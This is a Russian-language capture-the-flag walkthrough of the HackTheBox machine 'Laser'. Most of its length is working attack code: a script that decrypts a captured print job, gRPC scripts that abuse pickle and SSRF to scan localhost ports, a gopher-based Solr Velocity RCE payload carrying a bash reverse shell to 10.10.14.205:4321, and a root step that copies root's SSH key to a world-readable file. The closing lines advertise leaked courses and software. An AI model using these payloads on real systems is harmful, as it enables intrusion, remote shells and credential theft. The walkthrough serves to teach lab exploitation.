Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.
10.10.10.201 laser.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).
И мы находим даже инструмент, который позволяет нам работать с принтером.
Entry Point
Давайте посмотрим, что мы можем в итоге получить.
Осмотревшись, мы находим только один файл.
Давайте получим его и откроем.
Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.
Но мы можем достать ключ шифрования.
Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AESmess = open("./PRET/queued", "r").read()[2:].replace("'", "")mess_decrypt = base64.b64decode(mess)IV, CT = mess_decrypt[8:24], mess_decrypt[24:]chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)OT = chip.decrypt(CT)with open("decr.pdf", "wb") as f: f.write(OT)
По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.
Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.
Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";
message Content {
string data = 1;
}
message Data {
float feed = 1;
}
service Print {
rpc Feed(Content) returns (Data) {}
}
Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая набор примочек для автоматизации разработки.
sudo pip3 install grpciosudo pip3 install grpcio-tools
Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto
Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:22"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try: response = stub.Feed(content, timeout=30) print(response)except Exception as e: print(e.details())
То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcfor port in range(1, 65536): p = '{"feed_url":"http://localhost:'+ str(port) +'"}' p2 = base64.b64encode(pickle.dumps(p)) channel = grpc.insecure_channel('10.10.10.201:9000') stub = ralf_pb2_grpc.PrintStub(channel) content = ralf_pb2.Content(data=p2) try: response = stub.Feed(content, timeout=30) print("Port found: " + str(port)) except Exception as e: if "Connection refused" in e.details(): print("Port: "+ str(port), end="\r") else: print("Port open: " + str(port) + " "*10)
И находим нужный, отвечающий нам порт.
USER
Узнаем что это.
И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:stub.Feed(content, timeout=30)except Exception as e:print(e.details())
И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try: response = stub.Feed(content, timeout=30)except Exception as e: print(e.details())
И у нас есть шелл от имени пользователя.
ROOT
Для удобного доступа сгенерируем и запишем SSH ключ.
Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.
Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.
Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.
А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/shcp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa
Подождав немного обнаружим желанный ключ.
И подключимся как root.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.